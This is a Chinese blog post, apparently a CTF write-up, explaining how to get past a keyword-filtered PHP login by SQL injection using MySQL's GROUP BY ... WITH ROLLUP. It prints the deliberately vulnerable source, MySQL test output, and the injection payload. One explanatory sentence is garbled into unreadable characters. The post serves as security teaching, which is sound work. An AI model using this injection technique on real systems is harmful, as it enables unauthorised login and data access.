实验吧 因缺思汀的绕过 By Assassin（with rollup统计）

原创

Assassin__is__me 于 2017-01-29 10:10:31 发布 6552 收藏 2

分类专栏： Web

本文链接：https://blog.csdn.net/qq_35078631/article/details/54772798

Web 专栏收录该内容

41 篇文章 0 订阅

订阅专栏

这个题目还是比较新鲜的，很久没回实验吧了学到了很多的姿势~不得不说不看提示真心想不到这些，嗯。

首先我们需要了解题目中php的工作原理，首先审源码得到了**source.txt**得到了源码，然后我们看一下源码干了什么，主要就是一个登陆认证！

```php
<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){
        print "姘村彲杞借傜帇害鍙?滋鑶囩紒";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "浜﹀彲鐜堝锛?";
    }
}else{
    print "涓€棰樺滋鑶囩紒";
}
mysql_close($con);
?>
```

可以看到主要是

$filter = “and|select|from|where|union|join|sleep|benchmark|,|(|)”;

这句话过滤了很多关键词，加上**function AttackFilter**这个函数起到了过滤的作用，这里是巧妙地用了select过程中用group by with rollup这个统计的方法进行插入查询。我们用mysql做几个小实验就明白这个是怎么用的了！

```
mysql> create table test (
    -> user varchar(100) not null,
    -> pwd varchar(100) not null);
mysql>insert into test values("admin","mypass");
mysql>select * from test group by pwd with rollup
mysql> select * from test group by pwd with rollup;
+-------+------------+
| user  | pwd        |
+-------+------------+
| guest | alsomypass |
| admin | mypass     |
| admin | NULL       |
+-------+------------+
3 rows in set

mysql> select * from test group by pwd with rollup limit 1
;
+-------+------------+
| user  | pwd        |
+-------+------------+
| guest | alsomypass |
+-------+------------+
mysql> select * from test group by pwd with rollup limit 1 offset 0
;
+-------+------------+
| user  | pwd        |
+-------+------------+
| guest | alsomypass |
+-------+------------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 1
;
+-------+--------+
| user  | pwd    |
+-------+--------+
| admin | mypass |
+-------+--------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 2
;
+-------+------+
| user  | pwd  |
+-------+------+
| admin | NULL |
+-------+------+
1 row in set
```

哎，然后我们就看到关键了，这个查询的时候可以想办法

讯pwd鼠或窀= 耒业user迟厂初觚皑蛰昵乏昵忐圮皑孝殼｛

这就很好用了！又有**if (mysql_num_rows($query) == 1)知道只要一列**。

然后我们构造payload

' or 1=1 group by pwd with rollup limit 1 offset XX#

然后一个试出来就行啦。涨姿势！

这是第二届北京网络安全技术大赛夺旗赛Writeup（Web安全篇）的一个题目